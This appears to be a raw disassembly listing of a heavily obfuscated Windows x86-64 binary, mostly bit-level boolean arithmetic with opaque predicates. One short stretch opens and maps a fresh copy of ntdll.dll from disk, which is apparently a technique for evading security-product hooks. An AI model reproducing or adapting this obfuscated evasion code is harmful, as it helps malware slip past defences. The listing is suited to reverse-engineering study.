mov ebx, r11d
xor bl, dil
xor bl, 1
mov eax, ebx
xor al, r9b
and al, bl
mov ebx, edx
xor bl, 1
xor al, 1
and dl, bl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
xor dl, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov r14d, ecx
and r14b, al
xor r14b, 1
mov edx, eax
xor dl, r14b
or r14b, al
xor r14b, 1
or r14b, dl
xor r14b, dil
xor r14b, 1
mov eax, r14d
and al, cl
xor r14b, cl
or r14b, al
mov r12d, r14d
xor r12b, 1
mov eax, r8d
xor al, r11b
mov esi, eax
xor sil, 1
mov r15d, edi
xor r15b, r9b
mov ecx, r15d
not cl
mov edx, edi
xor dl, r15b
and dl, dil
and cl, r9b
and r15b, dil
or r15b, cl
mov ecx, edx
and cl, r15b
xor r15b, dl
or r15b, cl
mov r9d, eax
and r9b, sil
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
mov ebx, r9d
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
mov edx, ecx
or cl, sil
and sil, bl
and dl, al
or dl, sil
xor bl, al
xor cl, 1
or cl, bl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, r8b
xor dl, 1
xor r11b, r9b
and r11b, r9b
xor r9b, r8b
mov eax, r11d
and al, r9b
xor r9b, r11b
or r9b, al
mov ecx, r9d
xor cl, 1
mov eax, ecx
and al, r9b
xor cl, al
xor al, 1
or al, r9b
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, r15b
xor cl, r15b
xor r15b, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
and al, r15b
or al, dl
xor al, 1
or al, r15b
mov edx, eax
xor dl, 1
and cl, r9b
mov r11d, eax
and r11b, dl
xor cl, 1
mov r8d, r9d
xor r8b, cl
or cl, r9b
xor cl, 1
or cl, r8b
mov ebx, eax
and bl, r11b
xor r11b, al
or r11b, bl
xor r11b, cl
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, dl
xor r11b, 1
or r11b, al
mov r9d, r14d
or r9b, r12b
mov eax, r9d
xor al, 1
mov ecx, r14d
xor cl, r9b
and cl, r14b
and al, r12b
and r9b, r14b
or r9b, al
mov eax, ecx
xor al, 1
xor cl, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov edi, r11d
xor dil, 1
mov r10d, r11d
and r10b, dil
mov eax, r10d
xor al, 1
mov r15d, r11d
or r15b, al
xor r15b, 1
mov edx, r9d
xor dl, 1
mov byte [rbp + 0x30], dl
mov ebx, edx
and bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r13d, ebx
xor r13b, 1
mov edx, ebx
and dl, r13b
xor r13b, bl
or r13b, dl
mov esi, r13d
xor sil, 1
mov r8d, r12d
and r8b, r14b
mov edx, r8d
and dl, r14b
xor r8b, r14b
or r8b, dl
mov r12d, r8d
xor r12b, 1
mov edx, r11d
xor dl, r10b
or al, dil
xor al, 1
or al, dl
mov r14d, eax
xor r14b, 1
mov edx, r11d
and dl, r14b
and al, dil
or al, dl
xor r14b, al
and r14b, al
xor r10b, dil
or r10b, r15b
mov r15d, r10d
xor r15b, r11b
xor r15b, 1
or r15b, r10b
mov r10d, r8d
and r10b, r12b
mov eax, r8d
and al, r10b
xor r10b, r8b
or r10b, al
mov edx, r13d
mov byte [rbp + 0x2c], sil
or dl, sil
mov eax, edx
xor al, 1
mov ebx, r10d
xor bl, 1
and sil, dl
or dl, r13b
and al, r13b
or al, sil
mov esi, edx
xor sil, al
xor al, 1
or al, dl
mov ecx, r10d
or cl, bl
xor sil, 1
xor al, 1
or al, sil
mov edx, ecx
xor dl, 1
and r12b, cl
or cl, r8b
and dl, r8b
or dl, r12b
mov esi, ecx
xor sil, dl
xor dl, 1
or dl, cl
mov ecx, r15d
xor cl, 1
mov r8d, ecx
xor sil, 1
xor dl, 1
or dl, sil
xor dl, 1
mov ecx, edx
or cl, al
xor dl, al
xor dl, 1
and dl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
and r13b, bl
mov cl, byte [rbp + 0x2c]
and r10b, cl
or r10b, r13b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, bl
xor r10b, 1
or r10b, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov ecx, ebx
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, r10b
xor bl, r10b
xor r10b, 1
and al, r10b
or al, cl
or r10b, dl
xor r10b, 1
or r10b, bl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov esi, r14d
xor sil, 1
mov r12d, r15d
mov ecx, r8d
and r12b, r8b
mov eax, r15d
and al, r12b
xor r12b, r15b
or r12b, al
mov edx, esi
or dl, r14b
mov r8d, r14d
and r8b, dl
xor dl, 1
mov r13d, r12d
xor r13b, 1
mov eax, r12d
or al, r13b
xor al, 1
xor r15b, cl
and r15b, cl
mov ecx, edx
xor cl, sil
and cl, dl
and dl, sil
or dl, r8b
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor r15b, al
mov ecx, r15d
xor cl, 1
and al, cl
mov ebx, eax
xor al, r15b
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, dl
and bl, cl
and cl, dl
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
and r12b, r14b
or r14b, r13b
xor r14b, 1
and r13b, sil
or r13b, r12b
mov eax, r14d
and al, r13b
xor r13b, r14b
or r13b, al
mov ebx, r13d
xor bl, 1
mov eax, ebx
and al, r13b
mov edx, eax
xor al, bl
xor dl, 1
or dl, r13b
xor dl, 1
or dl, al
xor dl, cl
xor cl, 1
mov eax, ecx
and al, r13b
xor cl, r13b
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, r10d
xor al, 1
mov ebx, r10d
and bl, al
mov ecx, ebx
xor bl, al
xor cl, 1
or cl, r10b
xor dl, 1
xor cl, 1
or cl, bl
mov r8d, edx
xor r8b, cl
and dl, r8b
and r8b, cl
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov cl, byte [rbp + 0x30]
and r11b, cl
mov eax, r9d
and al, dil
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
xor dil, r9b
mov edx, edi
xor dl, 1
mov ebx, edi
and bl, al
or dil, cl
and cl, dl
or cl, bl
xor dl, al
xor dil, 1
or dil, dl
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov eax, edi
xor al, 1
mov ecx, edi
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
or al, dil
mov ebx, eax
xor bl, 1
and bl, al
xor cl, 1
or cl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov edx, ecx
xor dl, 1
and dl, bl
xor bl, 1
and bl, cl
or bl, dl
mov ecx, edi
and cl, al
xor al, dil
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, r8d
xor bl, 1
and cl, bl
mov edx, r8d
and dl, al
or dl, cl
xor dl, 1
or dl, bl
xor bl, al
xor bl, 1
and bl, al
xor al, r8b
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
mov ebx, edx
xor bl, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x54ac12a9
mov eax, 0xac7f74ee
cmovne ebx, eax
test cl, 1
mov eax, ebx
mov ecx, 0x54ac12a9
cmovne eax, ecx
test dl, 1
cmovne eax, ebx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov r8, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x60]
sub rsp, 0x20
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
add rsp, 0x20
mov rax, qword [rbp + 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
add rsp, 0x30
mov eax, 0x6d1c7d8b
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [0x1400a6668]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0x11080122
mov ecx, r9d
and ecx, 0x20026098
or ecx, eax
xor ecx, 0x20026098
mov eax, r9d
xor eax, 0x310a61ba
and eax, r9d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xcef59e45
and eax, 0x310a61ba
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb107d995
and eax, 0x4ef8266a
or eax, ecx
mov edx, eax
xor edx, 0x44080068
xor eax, 0xb107d995
mov ecx, r8d
and ecx, 0x423af8cc
mov ebx, r9d
and ebx, 0xbdc50733
or ebx, ecx
mov ecx, ebx
xor ecx, 0xbdc50733
xor ebx, 0x280844
and ebx, 0x10a80f75
mov esi, ecx
and esi, 0xef57f08a
or esi, ebx
xor esi, 0xef57f08a
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x5e2fb688
and esi, 0xa1d04977
or esi, ecx
mov ebx, esi
xor ebx, 0xa1d04977
mov edi, esi
xor edi, 0x1e0ba680
and edx, 0xe508d1ed
mov ecx, eax
and ecx, 0x1af72e12
or ecx, edx
mov r10d, ecx
xor r10d, 0x1af72e12
and edi, 0x3f8baeb7
xor esi, 0x8d41f349
and esi, ebx
and ebx, 0xc0745148
or ebx, edi
mov r11d, ebx
xor r11d, 0x640148
xor ecx, 0xe508d1ed
mov edx, r10d
and edx, 0x2c91ba3e
and eax, 0xd36e45c1
or eax, edx
xor ebx, 0x3f8baeb7
mov edx, ebx
or edx, 0xd36e45c1
mov edi, edx
not edi
mov r14d, esi
not r14d
mov r15d, edx
and r15d, 0xc27ef610
and edi, 0x2c81082e
or edi, r15d
or edx, r14d
and r14d, 0xc27ef610
and esi, 0x3d8109ef
or esi, r14d
xor esi, edi
not edx
or edx, esi
mov esi, eax
not esi
and esi, 0xe34b9784
and eax, 0x1cb4687b
or eax, esi
mov esi, edx
not esi
and esi, 0xe34b9784
and edx, 0x1cb4687b
or edx, esi
xor edx, eax
mov eax, ecx
and eax, 0xc110d8a0
and r10d, 0x3eef275f
or r10d, eax
or ecx, ebx
and ebx, 0xc110d8a0
and r11d, 0x3eef275f
or r11d, ebx
xor r11d, r10d
not ecx
or ecx, r11d
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1100105
mov edx, ecx
and edx, 0x422810c0
or edx, eax
xor edx, 0x422810c0
and ecx, 0xbcc7ee3a
or ecx, edx
mov eax, ecx
not eax
and eax, 0xbcc7ee3a
and ecx, 0x433811c5
or ecx, eax
mov edx, ecx
not edx
xor ecx, 0xacff4025
and ecx, edx
or edx, 0xacff4025
mov ebx, edx
not ebx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x9d3d69c7
and ecx, 0x62c29638
or ecx, edi
or eax, edx
and edx, 0x9d3d69c7
and ebx, 0x42009618
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x6eefa4ad
and eax, 0x91105b52
or eax, ecx
mov edx, eax
xor edx, 0x94b0150
xor eax, 8
and eax, 0x34a41a2e
and edx, 0xcb5be5d1
or edx, eax
mov r10d, edx
xor r10d, 0xcb5be5d1
xor edx, 0x24040004
and edx, 0x6c172144
mov eax, r10d
and eax, 0x93e8debb
or eax, edx
xor eax, 0x6c172145
and r10d, 1
or r10d, eax
mov eax, r10d
not eax
and eax, 0xea343aca
and r10d, 0x15cbc535
or r10d, eax
mov eax, r10d
xor eax, 0x15cbc535
xor r10d, 0xea343aca
mov edx, r8d
and edx, 0xdcd40f2b
mov ebx, r9d
and ebx, 0x232bf0d4
or ebx, edx
mov edi, ebx
xor edi, 0xb6090
xor ebx, 0x94d40a28
mov edx, r9d
or edx, 0xb7f49a6c
and ebx, 0xb7f49a6c
and edi, 0x480b6592
or edi, ebx
and edx, 0xb7f49a6d
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xa728811d
and edx, 0x58d77ee2
or edx, ebx
mov ebx, edx
xor ebx, 0x40026c20
mov edi, r8d
and edi, 0xdcf116a5
mov esi, r9d
and esi, 0x230ee95a
or esi, edi
mov edi, esi
xor edi, 0x10ae810
xor edx, 0xa728811d
xor esi, 0xdcf116a5
mov ecx, edx
and ecx, 0x3af513cf
and ebx, 0xc50aec30
or ebx, ecx
or edx, esi
and esi, 0x3af513cf
and edi, 0xc50aec30
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xf2eb1e4f
and edx, 0xd14e1b0
or edx, ecx
mov ebx, edx
xor ebx, 0xd14e1b0
xor edx, 0xd20a0644
and edx, 0xde0e67c4
mov esi, ebx
and esi, 0x21f1983b
or esi, edx
mov ecx, esi
xor ecx, 0x21f1983b
and ecx, r10d
xor esi, 0xde0e67c4
and esi, eax
or esi, ecx
not esi
or esi, r10d
mov ecx, r10d
and ecx, 0x2260de16
and eax, 0xdd9f21e9
or eax, ecx
xor eax, ebx
xor eax, 0x2260de16
and eax, ebx
or ebx, r10d
mov ecx, ebx
not ecx
mov r10d, eax
not r10d
mov edx, r10d
and edx, 0x68f57f52
and eax, 0x970a80ad
or eax, edx
or r10d, ebx
and ebx, 0x68f57f52
and ecx, 0x970a80ad
or ecx, ebx
xor ecx, eax
not r10d
or r10d, ecx
mov eax, r10d
xor eax, 0xf8c6de4f
mov r11d, eax
and eax, r10d
not r10d
mov edx, esi
mov ecx, esi
and r11d, r10d
mov edi, esi
and edi, r10d
xor r10d, esi
not esi
and edx, 0xf8c6de4f
xor ecx, 0x73921b0
and ecx, esi
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, r11d
and edx, eax
xor eax, r11d
or eax, edx
mov edx, ecx
not edx
and edx, 0xe1f90abb
and ecx, 0x1e06f544
or ecx, edx
mov edx, eax
not edx
and edx, 0xe1f90abb
and eax, 0x1e06f544
or eax, edx
xor eax, ecx
or r10d, edi
mov ecx, r10d
not ecx
and ecx, 0x35e89676
and r10d, 0xca176989
or r10d, ecx
xor r10d, 0xca176989
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov eax, r8d
and eax, 0x6000102d
mov ecx, r9d
and ecx, 0x88620182
or ecx, eax
xor ecx, 0x88620182
mov eax, r9d
and eax, 0x179dee50
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb15005d5
and eax, 0x4eaffa2a
or eax, ecx
mov ecx, eax
xor ecx, 0x80088a85
xor eax, 0x1220450
and eax, 0x27e76550
and ecx, 0xd8189aaf
or ecx, eax
mov eax, ecx
xor eax, 0xa82
xor ecx, 0x400000
and ecx, 0xc8408001
and eax, 0x6004e82
or eax, ecx
mov ecx, eax
xor ecx, 0x6004e82
mov r11d, eax
xor r11d, 0xf9ffb17d
and r8d, 0xce40ce83
xor r9d, 0x31bf317c
or r9d, r8d
mov r8d, r9d
not r8d
xor eax, 0xe8f1586e
and eax, r11d
mov esi, ecx
and esi, 0xc803
mov edx, r8d
or edx, 0x110ee913
mov edi, edx
not edi
mov ebx, r9d
xor ebx, 0x110ee913
and ebx, r8d
mov r14d, eax
and r14d, esi
xor esi, eax
or esi, r14d
mov eax, ebx
not eax
mov r14d, edx
and r14d, 0x185db46d
and edi, 0xe6a00280
or edi, r14d
or edx, eax
and eax, 0x185db46d
and ebx, 0xe7a24b92
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, esi
not eax
and eax, edx
not edx
and edx, esi
or edx, eax
mov eax, ecx
and eax, 0xc440ce03
and r11d, 0x3a9d00a0
or r11d, eax
or ecx, r8d
and r8d, 0xc562ff5f
and r9d, 0x3a9d00a0
or r9d, r8d
xor r9d, r11d
not ecx
or ecx, r9d
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov r11d, ecx
xor r11d, 0x31bf317c
and r11d, ecx
not ecx
and ecx, 0x31bf317c
mov eax, ecx
and eax, r11d
xor r11d, ecx
or r11d, eax
mov eax, r10d
mov r14d, r10d
xor r14d, 0xa7f3714d
and r14d, r10d
mov r8d, r10d
mov r15d, r10d
xor r15d, 0x6932b29e
and r15d, r10d
not r10d
mov edx, r10d
and edx, 0x13600d
and eax, 0xa7e01140
or eax, edx
xor eax, 0xa7e01140
mov edx, eax
and edx, r14d
xor r14d, eax
or r14d, edx
mov eax, r14d
not eax
and eax, 0xe127387e
and r14d, 0x1ed8c781
or r14d, eax
mov eax, r14d
xor eax, 0x9923a28c
xor r14d, 0x46d44933
and eax, 0xd933ebae
mov edx, r14d
and edx, 0x26cc1451
or edx, eax
xor edx, 0x34ddd0dd
and r14d, 0xedee3b73
or r14d, edx
mov eax, r14d
not eax
and eax, 0x3a7068f0
and r14d, 0xc58f970f
or r14d, eax
mov ecx, r14d
xor ecx, 0x40888200
xor r14d, 0x3a7068f0
mov eax, r10d
and eax, 0x1211c48c
and r8d, 0xedee3b73
or r8d, eax
not r8d
or r8d, r10d
mov eax, r11d
not eax
mov edi, eax
and edi, 0x12220040
mov esi, r11d
and esi, 0xe0840823
or esi, edi
xor esi, 0xe0840823
mov ebx, r11d
xor ebx, 0xf2a60863
and ebx, r11d
mov edi, esi
and edi, ebx
xor ebx, esi
or ebx, edi
mov edi, ebx
not edi
and edi, 0xd59f79c
and ebx, 0xf2a60863
or ebx, edi
mov edi, ebx
not edi
and edi, 0xb03f6fb4
and ebx, 0x4fc0904b
or ebx, edi
mov edi, ebx
xor edi, 0x4dc01043
and edi, 0xedee3b73
xor ebx, 0xa22eab38
or ebx, edi
mov edi, ebx
not edi
and edi, 0xdbc1b314
and ebx, 0x243e4ceb
or ebx, edi
mov r9d, ebx
xor ebx, 0xdbc1b314
and eax, 0xad667a68
and r11d, 0x52998597
or r11d, eax
mov eax, r11d
xor eax, 0x52998597
xor r11d, 0xa0442240
and r11d, 0xa2c42340
mov esi, eax
and esi, 0x5d3bdcbf
or esi, r11d
xor esi, 0xb0d5e7cc
and eax, 0x1211c48c
or eax, esi
mov edi, eax
not edi
and edi, 0xd5203684
and eax, 0x2adfc97b
or eax, edi
mov r11d, eax
xor r11d, 0x2adfc97b
and r11d, ebx
mov ebx, r14d
and ebx, 0xa7773d8f
and ecx, 0x5888c270
or ecx, ebx
mov esi, ecx
xor esi, 0x5888c270
xor ecx, 0x45043824
and ecx, esi
or r14d, 0xe27305ab
mov ebx, r14d
not ebx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x12b24eed
and ecx, 0xed4db112
or ecx, edi
mov edi, r8d
xor edi, 0x1d8cfa54
and edi, r8d
or edx, r14d
and r14d, 0x12b24eed
and ebx, 0xd0cb010
or ebx, r14d
mov r14d, esi
and r14d, r8d
xor esi, r8d
or r8d, 0xe27305ab
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xf2d2dd43
and edi, 0xd2d22bc
or edi, ebx
mov ebx, r8d
not ebx
or ecx, r8d
and r8d, 0xf2d2dd43
and ebx, 0xd0c2214
or ebx, r8d
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, edx
not ebx
and ebx, 0xc7f86651
and edx, 0x380799ae
or edx, ebx
mov ebx, ecx
not ebx
and ebx, 0xc7f86651
and ecx, 0x380799ae
or ecx, ebx
xor ecx, edx
or esi, r14d
mov edx, esi
not edx
and edx, 0x6d065924
and esi, 0x92f9a6db
or esi, edx
xor esi, 0x92f9a6db
mov edx, ecx
and edx, esi
xor esi, ecx
xor r9d, 0x243e4ceb
xor eax, 0xd5203684
or esi, edx
mov ecx, r9d
xor ecx, eax
and ecx, r9d
and eax, r9d
or eax, r11d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, esi
not ecx
and ecx, 0x22134010
mov edx, esi
and edx, 0xa02080
or edx, ecx
xor edx, 0xa02080
and esi, 0xdd4c9f6f
or esi, edx
mov ecx, eax
mov edx, eax
xor edx, 0x22b36090
and edx, eax
not eax
and eax, 0xb79d3a4e
and ecx, 0x4862c5b1
or ecx, eax
mov eax, ecx
xor eax, 0x4862c5b1
xor ecx, 0x952e5ade
and ecx, eax
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x3736d689
and ecx, 0xc8c92976
or ecx, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x3736d689
and edx, 0xc8c92976
or edx, ebx
mov r9d, dword [0x1400a6664]
xor edx, ecx
not eax
or eax, edx
mov ecx, esi
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
and r10d, 0x6932b29e
mov ecx, r10d
and ecx, r15d
xor r15d, r10d
or r15d, ecx
mov ecx, r15d
not ecx
and ecx, 0x371d9dca
and r15d, 0xc8e26235
or r15d, ecx
mov ecx, r15d
xor ecx, 0x80a0
mov edi, eax
not edi
mov edx, edi
and edx, 0x40a00690
mov esi, eax
and esi, 0x2807a821
or esi, edx
xor esi, 0x2807a821
mov ebx, eax
and ebx, 0x9758514e
or ebx, esi
xor r15d, 0x5e2f2f54
mov esi, r15d
and esi, 0x68812c11
and ecx, 0x2682a0
or ecx, esi
mov esi, ecx
xor esi, 0x2480a0
xor ecx, 0xb050155c
or r15d, 0x68a7aeb1
and ecx, 0xb052175c
and esi, 0x48a5a8a1
or esi, ecx
mov ecx, r15d
not ecx
and r15d, 0xb052175c
and ecx, 0x7084002
or ecx, r15d
xor ecx, esi
mov edx, ebx
not edx
and edx, ecx
not ecx
and ecx, ebx
or ecx, edx
not ecx
and edi, 0x15c51b1a
and eax, 0xea3ae4e5
or eax, edi
xor eax, 0xea3ae4e5
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne bl
cmp r9d, 9
setg dl
cmp r9d, 0xa
setl sil
mov eax, ebx
or al, sil
xor al, 1
mov r11d, edx
or r11b, r8b
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov r9d, edx
xor r9b, r8b
mov r10d, edx
xor r10b, bl
xor dl, sil
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
xor al, sil
mov edi, eax
not dil
and dil, sil
or sil, r8b
xor sil, 1
or sil, r10b
mov ecx, r9d
xor cl, sil
or sil, r9b
xor sil, 1
or sil, cl
mov edx, r11d
xor dl, 1
mov ecx, edx
and cl, r11b
mov r10d, esi
mov r9d, edx
and r9b, cl
xor cl, dl
xor dl, sil
xor sil, 1
and r10b, sil
or cl, r9b
xor r10b, 1
mov r9d, esi
xor r9b, r10b
or r10b, sil
xor r10b, 1
or r10b, r9b
xor r10b, cl
or sil, r11b
xor sil, 1
or sil, dl
mov ecx, esi
xor cl, r10b
xor r10b, 1
xor cl, 1
or r10b, sil
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
and r10b, cl
mov edx, r10d
and dl, cl
xor r10b, cl
or r10b, dl
mov r9d, r10d
xor r9b, 1
mov ecx, ebx
xor cl, r8b
mov r11d, ecx
xor r11b, 1
mov edx, edi
and dl, al
xor dil, al
or dil, dl
mov eax, ecx
and al, bl
mov edx, ecx
xor dl, bl
or dl, al
mov esi, edx
xor sil, 1
xor cl, r8b
not cl
and cl, r8b
xor bl, r11b
not bl
and bl, r11b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, sil
or cl, bl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, edi
xor al, 1
mov r8d, eax
and r8b, dil
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
or al, dil
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r11d, ecx
xor r11b, bl
or bl, cl
xor bl, 1
or bl, r11b
or dl, cl
mov r11d, edx
xor r11b, 1
mov ecx, r8d
xor cl, al
xor al, 1
mov esi, ecx
xor sil, 1
or al, r8b
xor al, 1
or al, sil
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
mov ecx, ebx
xor cl, 1
and r11b, cl
or cl, dl
and dl, bl
or dl, r11b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov esi, edx
xor sil, al
and dl, sil
and sil, al
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov edx, r9d
and dl, r10b
mov eax, r9d
mov r8d, r9d
xor al, dl
mov r11d, r10d
or r11b, r9b
xor r8b, r10b
or r8b, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
xor r11b, 1
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov r14d, esi
xor r14b, 1
mov r12d, esi
or r12b, r14b
mov eax, r14d
and al, r12b
xor r12b, 1
mov ecx, r12d
and cl, sil
or cl, al
mov eax, r14d
xor al, r12b
or r12b, r14b
xor r12b, 1
or r12b, al
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov edi, r11d
xor dil, 1
mov eax, r11d
and al, dil
mov ecx, r11d
xor cl, al
xor al, 1
or al, dil
xor al, 1
or al, cl
mov ecx, r11d
or cl, dil
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, r8d
xor r9b, 1
mov eax, r12d
xor al, 1
mov edx, eax
and dl, r12b
mov ebx, eax
mov byte [rbp + 0x30], al
xor bl, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, bl
mov r10d, edx
xor r10b, 1
xor dl, al
or r10b, r12b
xor r10b, 1
or r10b, dl
and r14b, sil
xor r14b, 1
or r14b, sil
mov r15d, ecx
xor r15b, 1
mov r13d, r8d
and r13b, r9b
xor r13b, 1
mov edx, r9d
xor dl, r13b
or r13b, r9b
xor r13b, 1
or r13b, dl
mov edx, r15d
or dl, cl
mov esi, edx
xor sil, 1
or r9b, r8b
mov ebx, ecx
and bl, r15b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
and bl, sil
mov r8d, r10d
xor r8b, 1
xor r9b, r13b
xor al, 1
and al, dl
or bl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r9d
and al, r13b
mov ebx, r9d
xor bl, al
xor al, 1
xor bl, 1
or al, r9b
xor al, 1
or al, bl
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
xor r9b, bl
xor bl, 1
or bl, dl
mov esi, r14d
xor sil, 1
xor bl, 1
or bl, r9b
mov edx, ebx
and bl, al
xor al, 1
xor dl, 1
and dl, al
mov eax, r13d
xor al, 1
or bl, dl
and r13b, cl
or cl, al
and al, r15b
or al, r13b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r15d, r14d
and r15b, sil
mov ecx, r14d
and cl, r15b
xor r15b, r14b
or r15b, cl
mov r9d, r10d
or r9b, r8b
mov ecx, r9d
xor cl, 1
mov edx, r9d
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
mov ecx, r8d
xor cl, r10b
and cl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or dl, bl
mov r13d, r9d
and r13b, cl
xor cl, r9b
mov ebx, r15d
xor bl, 1
or cl, r13b
mov r9d, ecx
xor r9b, dl
xor dl, 1
